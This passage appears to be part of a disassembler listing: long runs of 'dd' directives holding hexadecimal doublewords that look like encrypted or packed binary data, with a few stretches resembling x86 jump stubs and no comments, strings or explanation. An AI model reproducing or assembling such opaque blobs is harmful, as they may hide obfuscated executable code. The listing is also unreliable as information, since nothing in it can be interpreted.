0AF90FB48h dd 1A076ED9h, 0B7BEC972h, 0D3E4A22h, 3FD34112h, 3A0577E7h dd 8FB8C4E9h, 1D5BA65Eh, 0F3D777EAh, 36F4251h, 0E8C80000h dd 473A3BDEh, 4FA8F7ECh, 0D60A3942h, 1D17E983h, 71D24922h dd 6FCB116h, 0DF6C1E2Eh, 0E2C9409Ch, 3B048885h, 0A29DEFD0h dd 0DF464845h, 120D3D4Dh, 9ADDD041h, 0D7F62A49h, 0C557BEB5h dd 41120DB5h dd 0F5125558h, 30791C27h, 0DCAA014Fh, 0EF901C05h, 7E380710h dd 30000008h, 969BF24Dh, 20F66E5h, 7AA7CE7Dh, 0D4DD340Fh dd 74729DAAh, 0F4533B74h, 59E6949Dh, 0CC77010Eh, 37107CA5h dd 0A84415DCh, 41120C80h, 5F41A175h, 3B96A27Ah, 307B473Ah dd 8CB7C5ECh, 0D16A125Fh, 8CEC658Ch, 305BE4A8h, 0F3DB6FE2h dd 74A51h, 0A5D00000h, 2BDh, 3BDEE889h, 0F7EC473Ah, 39424FA8h dd 99CA7504h, 0ABCA1B5Ah, 83886475h, 0AC49221Dh, 0FC201F6Fh dd 2C117645h, 12152870h, 0A1EECD41h, 0FA396AD9h, 1666B3A6h dd 0AFDDC22Dh, 754EF9Ah, 0C1E983E4h, 34411215h, 0F7154679h dd 0DA52B7FCh, 4F306181h, 18BB4F6Eh, 45EF9025h, 7C7F574h dd 4890000h, 9CEFD03Bh, 345B44AFh, 0C6B3FC17h, 612D127Dh dd 0BDBF8BE2h, 0D23D0A74h, 47AE9DEDh, 0FA152E5Ah, 157CC7B5h dd 0CB1F8DEAh, 2E41120Ch, 577B868h, 0A9D0DD3Ah, 0F63B429Eh dd 390F0786h, 263474A9h, 7BBAEB58h, 8DD4F938h, 0ABE86484h dd 0F53065DEh, 41FA82AFh, 0A59EEB28h, 0F927206Ch, 9D094496h dd 0A76051F3h, 44185FDEh, 5FC61A0Bh, 1Ah, 0FE4D3D7Ah, 0E65F12A2h dd 0DB2D924Dh, 56F58528h, 79A7E605h, 1D4E2h, 0C1E85000h dd 0ED473A3Bh, 6B50A9F6h, 3B429606h, 0BD6F473Ah, 473A3B6Dh dd 99142D80h, 1D71A17Bh, 49644922h, 0A897E330h, 0F5E4387Bh dd 31D1D4B8h, 42E72714h, 20F68ABh, 5398CD76h, 0BBD91827h dd 14255758h, 17BA6267h, 0DEA13CBAh, 0EC2F4E9Fh, 0A7755ABFh dd 41121093h, 0EFE93786h, 0D24AAFF4h, 4F306389h, 7F8B6176h dd 924B7073h, 0A32ED81Bh, 2EEF9026h, 6C3021Dh, 8750000h dd 0A0EBD43Fh, 384748A3h, 0CABFE00Bh, 65291671h, 0B9BB8FE6h dd 0D6310E70h, 4BA2A1E9h, 0FE093246h, 1970CBB1h, 0C71389EEh dd 2A411202h, 577BC64h, 0A9FA4534h, 0D51A4B8Ah, 8A7B9CA7h dd 0BF9E1826h, 3E4F956Fh, 3AFA7EFBh, 0B691E752h, 0EE6DE0CDh dd 10535621h, 7D2825F9h, 108D51F3h, 28000000h, 89EFDF5Fh dd 86DAF6E2h, 0EBA5EEh, 0E8890000h, 473A3BC1h, 7C13F6EDh dd 23FD616h, 970562A5h, 492211B3h, 3A5B857Eh, 0FA78A8E1h dd 8D76A992h, 0DA092EC3h, 938ED232h, 0CAB2FF18h, 63291671h dd 9A498BD8h, 0C0152E5Bh, 201F6CA5h, 0CB1488E1h, 344F30F4h dd 973AF179h, 0B283EF8Fh, 600AFh, 70CBB200h, 0E4632819h dd 4CFB848Dh, 0B28DFC25h, 1B28565Bh, 0BDF6F6F0h, 161B72D1h dd 838CE764h, 0FE234AF5h, 935AB58Eh, 20256C6h, 23F74112h dd 3A0577C3h, 0DFAFECE9h, 3B82D646h, 4477473Ah, 5C95D005h dd 0A0C91730h, 0F73263DCh, 5626FE7Ah, 0FD7082EDh, 0D851F3DBh dd 17h, 37A546h, 53340000h, 59531A81h, 9FFC7B40h, 404E671Ch dd 77B64E92h, 0F9463405h, 55689D4h, 4A9BA4E8h, 1F15539Eh dd 0A4BBD26Dh, 58h, 9B265233h, 0B4BF082Eh, 0E53B7AC5h dd 3A057749h, 3B085BE9h, 6715473Ah, 1A628FDCh, 0A958FC21h dd 1B2FFD4Fh, 0FE473A3Bh, 0EEB7CBFh, 6F3D62EAh, 473A3B5Bh dd 98A1FFBEh, 0E12E4BF4h, 317CA19Eh, 2E97E0E3h, 4DB6BF56h dd 0C0FF4D3Dh, 0F3EF8E77h, 63DCACE5h, 11ADF332h, 0DD3A0577h dd 409CABD0h, 0E72C2725h, 2A505D82h, 0ED25C71Dh, 0F049221Dh dd 2D5F5CBDh, 0D5DCF34h, 0E0411214h, 14CF1BCDh, 8B224112h dd 0C80B3846h, 335B58A1h, 0EA82C714h, 411214DEh, 1B397833h dd 7495AEDEh, 0D3B3B60Fh, 9B585FEBh, 12DBA1C9h, 3B595441h dd 0A2F1E2E2h, 0FD0ED745h, 0BCFF4F0Ah, 13305E5Bh, 0FD8F8CCDh dd 0E9CE2B42h, 34C0E884h, 86354B6Bh, 6B3482D6h, 8A62774Bh dd 4B6B347Eh, 0BBD91893h, 0D4350E7Eh, 0F686B7C7h, 9ADD184Dh dd 0D7F62A49h, 1871BEB5h, 494A4784h, 15E5C845h, 0E9674994h dd 72293001h, 24000004h, 9A87EE59h, 0F63B52F1h, 6E53BA89h dd 0D8C9201Bh, 87E89B6h, 0E05F2F68h, 55F29889h, 0B883F53Ah dd 231C6051h, 0A47801C8h, 41120094h, 774DD579h, 0EED33A05h dd 64E3AB9Eh, 60B5F437h, 0E106414Bh, 0F5CEB94h, 5895B0ECh dd 97C40936h, 0EA095AE5h, 3B68D3A5h, 22086011h, 160E6AE7h dd 57BCDD66h, 3A3BB5C5h, 0F555847h, 0D2A6F3C4h, 0F929D7D3h dd 98DB02C3h, 309DAD7Fh, 3D70473Ah, 0D13A37E7h, 4C9F51F3h dd 3A000000h, 3C3347D5h, 0D7E6473Ah, 0AB58F589h, 0F6690364h dd 0BF49180Bh, 0EC310A72h, 0A4F4A8C1h, 4941186Bh, 0A8033E62h dd 0D36424Fh, 0C51587ECh, 2841186Bh, 94345F85h, 41186B46h dd 0FF16315Bh, 51EE9D9Ah, 0A992E603h, 39FE564h, 58490000h dd 690364ABh, 49183596h, 0F54E3A87h, 0A1C9A3A0h, 5441183Ch dd 0B6E72659h, 0FB281379h, 8F84E40Dh, 0B26A8FD4h, 4F3A32B1h dd 24345F5Eh, 0A3A0EE2Fh, 92950760h, 0A3455C38h, 289AAE7Eh dd 3C7F555Ch, 283941DBh, 0D1DC555Ch, 0F6279683h, 2576D5B9h dd 0F7A58AEFh, 555C28A3h, 30396756h, 0E9A053B8h, 24732495h dd 0F415545Ch, 7ED2C738h, 7C03105Bh, 159891CFh, 7CC7B5FAh dd 0C17A022Fh, 569D56A6h, 0ADF47B31h, 12995190h, 27784C1h dd 8BC91439h, 90CCADF1h, 52965359h, 48E1423Fh, 8D765B33h dd 93B22C1Ch, 43973981h, 0B65990B7h, 0B73F4B21h, 0DBD25990h dd 38D94498h, 41000000h, 364AB58h, 18416669h, 83E4D749h dd 0AD9485C2h, 508CA1D8h, 11576735h, 20A94118h, 0B1CC81C8h dd 1E94BD1h, 8C000001h, 1243008Fh, 1D1327F5h, 0B7064118h dd 77942874h, 0C4E93A05h, 0B8B237BAh, 0F71C9E4h, 2A529FCCh dd 0CFBBF811h, 0D4192C70h, 5DEA91A8h, 43AAED08h, 0F44F3976h dd 46058AA7h, 4997D615h, 3ACD86BFh, 4AF58747h, 0AD9CE02Dh dd 0F33263DCh, 3E636CB0h, 0A4A0F54Eh, 0A0760AFh, 5291C281h dd 80D5721Dh, 42DA3F65h, 4918C369h, 15628736h, 5A85DB64h dd 0FC4B307Dh, 7AB136AFh, 0AE8F6EE9h, 2C27316Fh, 505D82E7h dd 0D16E1128h, 0E12E618Ch, 0D670AC97h, 4F3D6CB6h, 0EF7109Bh dd 3C900138h, 9BFE2267h, 3853F09Eh, 0CEB887F7h, 0EF92FC65h dd 658A7F0h, 0C8000002h, 2E137AC5h, 9A87EE5Dh, 0F23F56F5h dd 6C55BC87h, 0FCCA2522h, 7CCBB3FCh, 0E15E2C15h, 54EF9986h dd 0BF88F43Dh, 50CCAD54h, 41120608h, 77F929EDh, 7443607h dd 4F4CADC4h, 9CDF0C3Bh, 52533940h, 8DE333F3h, 0EB94DDF9h dd 58F21D5Ch, 4A7DE65Fh, 0E55CD17Dh, 0DCC0E884h, 8635473Ah dd 0FC43305Ah, 0A6DE019Bh, 7C3F4918h, 5266361Bh, 1F4118CAh dd 18CA7D8Dh, 241D9041h, 62324B89h, 4118CA52h, 8CC325ACh dd 4BD0EAD1h, 0A09FEB28h, 0CDD17Ch, 77790000h, 0FB443405h dd 38466BB8h, 0E284B4B1h, 760F5DBDh, 0DC44B54h, 1B488B47h dd 3A66CC49h, 223F4D47h, 3A6D3E4Ah, 99D8D347h, 263B414Eh dd 3A6D2276h, 0A5E4D747h, 105F1470h, 6B4A25F7h, 58534918h dd 0EF342F31h, 0CB11128Ah, 0BFFE4F3Ch, 112E5D5Ah, 1E73A1CCh dd 4B94839h, 66B86E8Dh, 0B08FFF3Ah, 0A3266859h, 0CEE5A4h dd 9189721Bh, 28BC3783h, 0C0552564h, 5DEF92BBh, 0F3FD4Ch dd 0D8A50000h, 701B046Fh, 877B8D3h, 9AEFD03Bh, 355946A1h dd 0E98BFF16h, 661DEA0h, 0BBD27119h, 2E390276h, 49A09BE1h dd 1723F99Eh, 0FA411205h, 7A5FCC54h, 3A3B96A2h, 0FF307B47h dd 436EB28Dh, 94E50C3Bh, 754F387h, 0B71B8E4h, 5F7DD930h dd 0C71D2652h, 2469D2BAh, 53BA85F7h, 39439241h dd 5F9EDD0Eh, 0B48FFD3Ah, 0F9184467h, 221D9623h, 0E7348749h dd 6E79C2CAh, 0C5820C09h, 0E20F5590h, 0A07CA19Ah, 1DC96A28h dd 65166366h, 0B59DB95Ch, 7DBC4A18h, 6AD70D28h, 88F13E0Eh dd 114F6EBFh, 6C21A4E8h, 38A08A3Ch, 453E5B9Ah, 430F5F31h dd 5520852Eh, 2AFA5F24h, 0D8C90A56h, 155A8BB4h, 828ADB64h dd 0B695FA37h, 0CB698F6Ah, 0A06186C1h, 7122C4D6h, 0FC473517h dd 174D8CAFh, 8EB9C3CCh, 0FC25Dh, 0CB300000h, 8AB9C1CEh dd 68F2AAF1h, 0B7EDADB3h, 3D06771Fh, 8EB9C3E8h, 0DF68105Dh dd 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh, 6EDDA2CFh dd 0BC8BF03Dh, 6F68696Fh, 89000069h, 0E389241Ch, 4C381h dd 0EB830000h, 241C8704h, 0E189515Ch, 4C181h, 0E9830000h dd 240C8704h, 2404895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 0C368243Ch, 8B06282Fh, 0C4812404h, 4, 4EC81h dd 24890000h, 24048124h, 4, 8B6685Fh, 4890000h, 8478F24h dd 5F2434FFh, 4C481h, 48B0000h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 0FA426AE9h, 0BC92CAFFh, 0DB904F4h, 0B8949DA6h dd 6283FEAh, 0E0FFC503h, 6098661Bh, 1DEDE64Ch, 79F367FAh dd 382B9176h, 766F64BFh, 2880584Eh, 5EDE1A79h, 0E8B4B4Fh dd 5EEA61A7h, 0C8ED51Bh, 0E0CD379h, 1FFAD6D2h, 43E13F50h dd 29460C25h, 176828A0h, 5568A6BFh, 6100DEC8h, 5DE747D6h dd 2DD82BD0h, 4AD28128h, 1FB252E3h, 55C9686Ah, 36AFDDEAh dd 489C4DFAh, 7D908364h, 1A437792h, 4371E946h, 41CB8D8Dh dd 858B0628h, 6222D45h, 33F18D89h, 0FE90622h, 50000000h dd 0E439BC6Dh, 40B92185h, 0FDC1532Dh, 85C7F07Bh, 6222D31h dd 6578h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0F3C35545h, 0C98D0957h, 5A06221Bh, 30E585C7h, 622h dd 95010000h, 6221471h, 1E5B5FFh, 11E80622h, 0CE000000h dd 0B868CEFFh, 930AAF23h, 9F7F42Dh, 87F5D102h, 0B21BD01h dd 0FF5A0622h, 22206595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0A51FA5A7h dd 39F8BD87h, 0DE8h, 0B183E700h, 90FEC8D7h, 0FA071AF9h dd 9D01F19Fh, 6220931h, 0DA8B665Bh, 95FF006Ah, 6223075h dd 19EBC08Bh, 6BB8E070h, 2BD1C04Bh, 9EF1B1B5h, 11E0DF74h dd 0B55AA670h, 97EA394Ah, 6E852h, 603D0000h, 0CAC985FCh dd 2C81958Bh, 2B5E0622h, 220785BDh, 86C68106h, 66000059h dd 3342BABAh, 0E1958BDBh, 0FF062231h, 12E93334h, 93000000h dd 7105C7EEh, 19E7AED8h, 6D9F46D8h, 7EF19121h, 9D895949h dd 6220201h, 0F1F5E981h, 880F2F90h, 6, 4036CF81h, 0C18147B3h dd 6744679Fh, 0B402C181h, 858B4B00h, 6221631h, 81950951h dd 8F062211h, 8A571E04h, 0EB835AD5h, 39858904h, 81062220h dd 0FFA708FBh, 98850FFFh, 0BFFFFFFFh, 54B6C490h, 182E9h dd 0DA474400h, 0D52C270Fh, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h dd 10000ACh, 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 0E9000000h, 1061h, 2845F768h dd 0A6BE906h, 0DE68FFFBh, 0E9062846h, 0FFFB0A61h, 28486368h dd 0A57E906h, 1468FFFBh, 0E9062849h, 0FFFB0A4Dh, 284A7868h dd 0A43E906h, 5468FFFBh, 0E906284Bh, 0FFFB0A39h, 284C3C68h dd 0A2FE906h, 0EB68FFFBh, 0E906284Ch, 0FFFB0A25h, 284DE968h dd 0A1BE906h, 7368FFFBh, 0E906284Eh, 0FFFB0A11h, 284F1F68h dd 0A07E906h, 0C668FFFBh, 0E906284Fh, 0FFFB09FDh, 28507968h dd 9F3E906h, 0E268FFFBh, 0E9062851h, 0FFFB09E9h, 2852F568h dd 9DFE906h, 0FA05FFFBh, 0CAD62BF3h, 9A9A6707h, 63A2BF4Fh dd 2569F496h, 0FA4306A4h, 8A5099E5h, 0C09A6BB7h, 1FAF367Dh dd 28F2FF02h, 0FADDB494h, 3ECD6283h, 5AA765D0h, 0C1C09997h dd 0E9E6E3Ch, 6D76B542h, 107D5F92h, 0D389F945h, 0EF22B3FFh dd 6AA63372h, 371C06DDh, 0C48D998Ah, 0D9AC01CAh, 0D5E0E979h dd 55D9AC01h, 74B344CEh, 1FED5B8h, 3E71D9ACh, 0DDAD1394h dd 761A0ED1h, 721B6E63h, 0D9AC6C67h, 5127CABh, 8A64AE04h dd 35h, 7370D11Fh, 0D1F4E2EBh, 4F03D9ACh, 925FDC01h, 0C691BDE8h dd 0D1E0ED5Bh, 6BD9ACF1h, 956CD825h, 4BCA468Bh, 0E6B8B65Ch dd 16842BD1h, 0DF0ED0F1h, 0D0h, 975AA762h, 3FBEC099h, 0A4296801h dd 4D909168h, 44D9A9B9h, 0AE85B33Ah, 8AC892A5h, 8B8B96D3h dd 8ACCE522h, 818F12D3h, 0F63BD67Ch, 0CA8313EBh, 0D38ACCEFh dd 0FE2EF433h, 65D31E63h, 0C62445FAh, 0ACE7E18Fh, 20FA21D9h dd 11F5F6ABh, 7D583181h, 0BDD9ACE8h, 0C7D5BC66h, 4BDFD1A7h dd 0F643969Eh, 50EF25ACh, 41D1A185h, 0D1A82D08h, 0EC36EDDFh dd 5EAC2D71h, 8C37D232h, 0B965C0F8h, 18A9469h, 6376BF00h dd 76C39EB5h, 2709A42Dh, 0BA103A17h, 0C6553BF9h, 5000000Dh dd 61FC8E4Fh, 3508D21Fh, 0FD401AEFh, 84992DB8h, 2EAB737Ah dd 0EDEC322Dh, 37BEC459h, 78898A97h, 8F525FA2h, 0B2DB23FFh dd 0CD6282A7h, 0A7328F6Bh, 69F49657h, 5C01A528h, 0EB7370D1h dd 0ACD1F4E2h, 33E934D9h, 0ACD28352h, 19A3F4D9h, 3DC8CD50h dd 0BCEA2807h, 0ED110FEh, 0CAC7h, 5AA74A00h, 0BEC09997h dd 49A32F3Fh, 114E0F7Dh, 3A9B55F9h, 0D38ACBEDh, 67C70A17h dd 0CBDBFE97h, 0C05FD38Ah, 6DDB2E77h, 41DC4CD6h, 9C87BD40h dd 0AD240623h, 0D9ACE7BFh, 0FB46A443h, 25F22EB7h, 0FDA229F9h dd 1A2F65AEh, 81E1F623h, 829837C2h, 0AED7F0CEh, 0E22083FFh dd 14046B62h, 0AE33DFD2h, 0E1B69C65h, 515D203Ah, 52DEB288h dd 0BF8DF44Ch, 0D2E5EC7Eh, 56DFD29Ah, 46DB4BCBh, 514FB138h dd 6BBA11B9h, 0CDF27B5h, 36790000h, 60A17B7h, 0D6DE23FBh dd 9FE67B03h, 61ADB04Ah, 0C607C298h, 7614D5D9h, 8C5EA7EBh dd 0DB6372B1h, 14B63B46h, 0BE99F048h, 42CD6281h, 57A71994h dd 2869F496h, 0B7FC41A5h, 0DF266Ch, 0A75F0202h, 27B7975Ah dd 8AC88BAEh, 6BEC44D3h, 0DA7271AAh, 0D46AA877h, 5DE9F43Dh dd 21809B6h, 0AC67614Bh, 90B96D9h, 0D88156FCh, 11E0ADBh dd 80D906Ah, 0EEE847FDh, 41F5B095h, 48E62C85h, 0ABD66E45h dd 48EC1D9h, 0D20D3D63h, 72840Eh, 0D10D0000h, 0E2EB7370h dd 0D9ACCBD4h, 7253C954h, 0D9ACCC63h, 76F983D4h, 0ED11348h dd 5389h, 0A1E07D00h, 36CD141Eh, 0D7AA11ECh, 370C38CDh dd 1E0AD7DAh, 89361D01h, 5E328298h, 765A4DBCh, 0DAA3630Bh dd 0D9ABE6C8h, 42939F48h, 3D1479B7h, 8ED9ABE7h, 17EAD379h dd 16F3490Bh, 0B82D8D55h, 396721EDh, 0F80ED136h, 0Eh, 428F916Ch dd 58D579D6h, 8C45Ch, 0D7AAE500h, 0E52D3ACBh, 742D361Ch dd 0F0FB9777h, 68CD68D8h, 553CAC76h, 0D9B2B478h, 4996DB8h dd 0D72AF0FDh, 60907CAh, 22B28899h, 0AE51B0AEh, 0CDD30364h dd 603F1400h, 1985DBA2h, 0DEB2DFDAh, 47E53625h, 4710326Eh dd 6FF242D8h, 0CE65D326h, 45888944h, 5D7811E1h, 0DDDFDA6Dh dd 24A5E946h, 53F353E8h, 23EC3CEh, 0BB83A001h, 0FC8338D2h dd 0C32DF8E5h, 0A427D1C7h, 5AA52BE9h, 0C400000Bh, 956832BBh dd 59A4468Bh, 61FC8E5Bh, 2835D124h, 8247E7E6h, 9158A6B9h dd 0DB2A68F5h, 0ECF53E03h, 33BEC35Eh, 1E77D76Bh, 0CD62803Bh dd 53A613FFh, 0D38AC984h, 0F04A57C8h, 4F969D60h, 0F1D87AD1h dd 0D9B30BCCh, 2535D14Ch, 0C193C55h, 219D9B3h, 0D6863B00h dd 0EE1B4587h, 60FA91EBh, 0DB323C69h, 0C521FCDFh, 96A8E875h dd 0B8AD6D6Dh, 0CE54E3FEh, 3BC30E13h, 1A16DB26h, 0BDD48839h dd 0DFDADB9Ah, 16F4839Eh, 31DE97Fh, 68F229E6h, 0A5418C95h dd 98945958h, 31E2035h, 0F6F3AC66h, 33537D14h, 48D76C25h dd 0CC01F6E8h, 0B41A182Eh, 0AA9h, 0D96D6CB3h, 15B13C44h dd 2DF90C08h, 7A00D5D0h, 0B45697E7h, 71708D1h, 0D9D924C6h dd 0A4EF7208h, 6DB4895Dh, 2606DA60h, 627F8CAFh, 0D7A28CCDh dd 0EB7370D1h, 669EEAE7h, 0CD51A264h, 7947741Dh, 5CCBD9B2h dd 0A32E73CEh, 45FB061Bh, 0EB7065D8h, 0B01DC9Bh, 0B08A9708h dd 564FAC20h, 7D660A0Bh, 0B5DFC8D1h, 8B23DFDAh, 0DAB5F7C2h dd 51EC3BDFh, 0E62968F5h, 0AE0D559Ch, 2543EADEh, 68F551ECh dd 0DBFE972Dh, 5FDFDA34h, 39E935C0h, 0A10DD24h, 0CFDB4B46h dd 4FD7ABE4h, 0F0F1AEB1h, 430A9A6Ah, 0DFDAAE78h, 1DE42FB8h dd 0D17D0827h, 2F0A2C8h, 333D51E6h, 0DD8DCE5h, 82DE3817h dd 9AABB7E4h, 2AFA7EA0h, 959027EFh, 18E52CB1h, 99B34E02h dd 0C62F1317h, 3071CC5Ch, 476E77ADh, 0FCE603A9h, 4DD12461h dd 6E6739E6h, 0E603A94Bh, 0C11012CFh, 0C38F9F2Ah, 1EA136E7h dd 74470E2Dh, 0B4E6032Eh, 9070D269h, 2B7088F9h, 682E88ECh dd 98E526FAh, 0DEA3BB56h, 0E17C0ED3h, 7CE75DA0h, 0D5E0E9C3h dd 55EC2B41h, 0A03171CEh, 3A00DF74h, 53857653h, 0B16FBAF2h dd 6AF0F1AEh, 0F5FC079Ah, 57CD181Ch, 0CD735AF8h, 7AF8758Bh dd 29E799E7h, 2CCDA7B6h, 8A946D38h, 0E934C343h, 0BC086F07h dd 0D838192h, 945h, 7D09D0DFh, 895DA0E0h, 0C16570B4h, 1EAC397Ch dd 28F2FB03h, 6BB3ACADh, 3D45D862h, 80B16B4h, 0D1D02DF9h dd 5AA27E0Ch, 627E2833h, 0B30EE8CDh, 99975AA7h, 41147DCDh dd 0C1D38AC8h, 1C65F85Ah, 0C7E4F79Eh, 0BB24D38Ah, 61BE6A73h dd 46013FCAh, 0A4EDC973h, 3A81CD59h, 3EFD1E91h, 8D5051AEh dd 8A9AB897h, 0F34A3E7Ch, 78714h, 5C0A0000h, 50Ah, 0E3A598E5h dd 0D2236F3Eh, 575A2707h, 6D38CDC8h, 92A821A1h, 96D9ACFBh dd 1099F28Bh, 5CACB8CCh, 9464C6E3h, 7C870809h, 6D74DE75h dd 0B2DAF28Fh, 0CC989493h, 7CA63371h, 2D392A97h, 704BA4h dd 0CA50CFB9h, 8E2E9086h, 0CD5139E4h, 3381801Dh, 0A17F5Ah dd 0C96483B9h, 1CE1203Dh, 23B35614h, 147AB853h, 869h, 992DACF3h dd 0D5717C84h, 0EDB94C48h, 3AC01510h, 7416D727h, 47574891h dd 1919E486h, 0E42F32C8h, 0ADF4491Dh, 66C69A20h, 627D4C6Fh dd 9762CCCDh, 0C84E26AAh, 1A09C00h, 0BC41401Dh, 97A5E980h dd 0E8CFFCD1h, 6E3CCB71h, 0F0FD039Eh, 4B58C952h, 287B9AF3h dd 60BFD9B2h, 0B5FA079Ah, 91AE9A6Fh, 0D4DD20FAh, 8CB8454Bh dd 582C18B7h, 2B73BCC5h, 21917A2h, 65863B00h, 6ADFC881h dd 8914DFDAh, 77CC7889h, 91D08AFh, 0A9676EB4h, 0F6C18892h dd 3ADFDA6Ah, 0DAA727EFh, 5C300AD7h, 0B6DF3B67h, 0DFDA1EA3h dd 0CF5EB867h, 1E67F03Fh, 4BDB4BCBh, 1767ACF6h, 360D3BD6h dd 6008AE28h, 3DE1563Ch, 0D4DE61A0h, 6D38170Dh, 5AD4DAB7h dd 0DA022833h, 1B72E8DFh, 0DFDA0240h, 0F38E25C0h, 19526171h dd 33A19FBAh, 781h, 0B155949Bh, 0CD9964ACh, 5A13470h, 52E8FD38h dd 6C3EBFCFh, 2F7F60E9h, 1011CAEh, 0CCD72AF0h, 959C6105h dd 1EEEB248h, 627C6477h, 0FF4AA4CDh, 7FC070D1h, 7035D38Bh dd 0D5B98D58h, 0DCB532CFh, 0D38A24F9h, 22E4E239h, 167FCF07h dd 0D38A5143h, 6AFA58C7h, 9DE9F69Ah, 0E6273379h, 0B36A4D04h dd 73AED38Ah, 0F5E1CAD3h, 0FA21D9B2h, 49949D60h, 0F4FD06D3h dd 8815F559h, 16E64489h, 0B2F65C7Fh, 579AE6D9h, 0C5CC25C0h dd 370A1A38h, 2629E7EAh, 0FE926879h, 8A8DD14Dh, 0B929F50Dh dd 0D4E562D0h, 0F97BA6DFh, 0BA1C77DFh, 0D25D33F1h, 4C000006h dd 1DE0BA43h, 213CCE13h, 0E97416E3h, 0B08D59ACh, 3ADF6F6Eh dd 19E02E31h, 23B2F04Dh, 747D869Bh, 0BB464BD6h, 86CF5FE3h dd 0CD627BB3h, 0A72E9B77h, 0C099975Ah, 47003CC1h, 0A3EECA70h dd 447A8C5Eh, 8D14F317h, 0Ch, 0CAD7AA14h, 0B7B91F07h, 0C0000002h dd 0EF7526AAh, 0CD302215h, 3A858C41h, 0E29A0FAh, 12D38A2Ah dd 77CC7817h, 9BF242D8h, 0D38A29C0h, 0C779A540h, 7F84E35Ch dd 0F343DB76h, 8A29BF9Ah, 7EA443D3h, 6DC6E7EEh, 0DF4AD9B2h dd 0E2EF320Fh, 0F6C18818h, 0F1D9B26Dh, 0E7867B42h, 9E8588B1h dd 1F6FFAB4h, 0A13C0CDEh, 0A1B4DD5Fh, 61D9B229h, 0C12EFBAh dd 45FA41CDh, 7D8FC624h, 0BDDFDA6Ch, 0A9348466h, 0D9B49E6Bh dd 0EC7115D8h, 15EC58A5h, 0CB54C009h, 61F15556h, 0DA6C4D68h dd 0CC56CDDFh, 0F0318C1Ch, 865821EDh, 8AE5FC6Fh, 0CDF1959Fh dd 1917A427h, 5D4BBh, 0B8414E00h, 0CC111FE2h, 14E1233Eh dd 5FAAEB76h, 6D6CB28Fh, 2C333CD9h, 0FE431BE2h, 84992DB4h dd 49D4767Fh, 5DE18548h, 7AB184CDh, 9971CD62h, 975AA72Ch dd 73C1C099h, 8AC83F1Ah, 8924C3D3h, 761AE893h, 66ABC1FCh dd 4896AD9Bh, 78DAF9B1h, 79C4A52Fh, 0F66BAB3Ah, 728426ABh dd 14F4004Ch, 795h, 245C1C00h, 0E5000001h, 44BF26AAh, 0CFC84953h dd 0F01EEEEBh, 0A3630F7Eh, 161EE32Eh, 49A96968h, 4A2EAC62h dd 0D4000005h, 0E57802CBh, 0A9B4569Bh, 71CC9E6Bh, 3805A134h dd 0B257F7F6h, 6168B6A9h, 0AB3A78C5h, 0FC050E13h, 3CED32Eh dd 0E47A77Bh, 0CD627A2Bh, 0A7B603EFh, 2AB7975Ah, 1C3F56E8h dd 1CD38AC8h, 61BE6A01h, 0D51CB79h, 361CFE71h, 5DA0E178h dd 2AD085C9h, 8EA4A5C8h, 6A31EA84h, 400999E0h, 0D38AB475h dd 29A46EB5h, 975AA7E8h, 33B19D4Bh, 25F0348Dh, 39497781h dd 0D8814F3h, 11000000h, 825Ch, 7C5CE500h, 0E5000000h dd 0EB7370D1h, 0B30BC9E2h, 66D249D9h, 0C72744FDh, 0D53B788Eh dd 836DB8DFh, 0BA1C19D7h, 9E553BF9h, 0B8000004h, 49D47677h dd 1DE0BA47h, 2538C217h, 0EC7115E0h, 0C6835BA2h, 0D5141A05h dd 1FE62C31h, 20B1F24Fh, 777A879Ah, 5A330BD7h, 0CD62797Fh dd 0D1DA5783h, 1BEB7370h, 0A9757C86h, 0AD18A2C0h, 0A3BB66D9h dd 7B03D6DEh, 0AD194412h, 2EB3FED9h, 7683819Ch, 447D4BAh dd 0AA6D0000h, 907CAD7h, 960B1032h, 0FEDDB195h, 0B5ED9A88h dd 9EA44896h, 1C99B33Ah, 0E3F5636h, 12D9B303h, 0ADD1ADA4h dd 0AECADD0Eh, 0E5A768A4h, 0E055BD48h, 4390B857h, 11F22EC5h dd 22ABB3B0h, 0DFD546E4h, 0B577F924h, 57BA1C15h, 3F7FBD9h dd 1E610000h, 0EE320FDFh, 0BEC65BE3h, 878E932Bh, 4955A872h dd 0DE1FFA80h, 6E3CBDC1h, 0A4468F93h, 0F38B5A59h, 0CDE236Eh dd 0D6E1E870h, 5ACD6278h, 0DAAA01FCh, 8AC7A8B3h, 91BD68D3h dd 325B158Ah, 0D38AC827h, 1EC07820h, 888FA9DAh, 6D64C69Dh dd 0D9B2F340h, 7CC125C0h, 0F12A835h, 0DE41FF02h, 93FA4061h dd 0DFDB354Dh, 0C60F14CDh, 0C426FD4Ah, 11B53879h, 0FDD8B101h dd 7DFDB34h, 0E63DEBFEh, 0B32EF433h, 69B636Eh, 0E63DEBFEh dd 2081823Ch, 0D6AB3B03h, 330804CDh, 4AE08A13h, 7B17E5FDh dd 37F5F89Bh, 57E0227Bh, 0FCDC68C8h, 0FC32A424h, 3449Eh dd 8D1DE00h, 5CA1EF72h, 6471B38Eh, 0AF3A7BC6h, 0FDFC021Fh dd 0BCA3AC29h, 4ED36B72h, 14E9BD44h, 0D924C60Fh, 0AD7115D8h dd 7821345Dh, 9E1CD62h, 975AA7BCh, 3CC1C099h, 2F3CE56Eh dd 33064FDFh, 0F7D38AC8h, 137AEA28h, 0D9ACD121h, 50203AE1h dd 0ACD11E39h, 1F07E2D9h, 0D1557C61h, 91A6D9ACh, 0D0CE82EBh dd 4C884EACh, 0C1FFA975h, 6E0ED053h, 6F08E93h, 0A6ED58C6h dd 65DB7B16h, 42h, 0CED7AAECh, 19B43579h, 250E1423h, 0F9F6F7Ch dd 0C803D6BFh, 1807D38Ah, 0D2A5533Ah, 0BE65D9ACh, 0D3340382h dd 7087D9ACh, 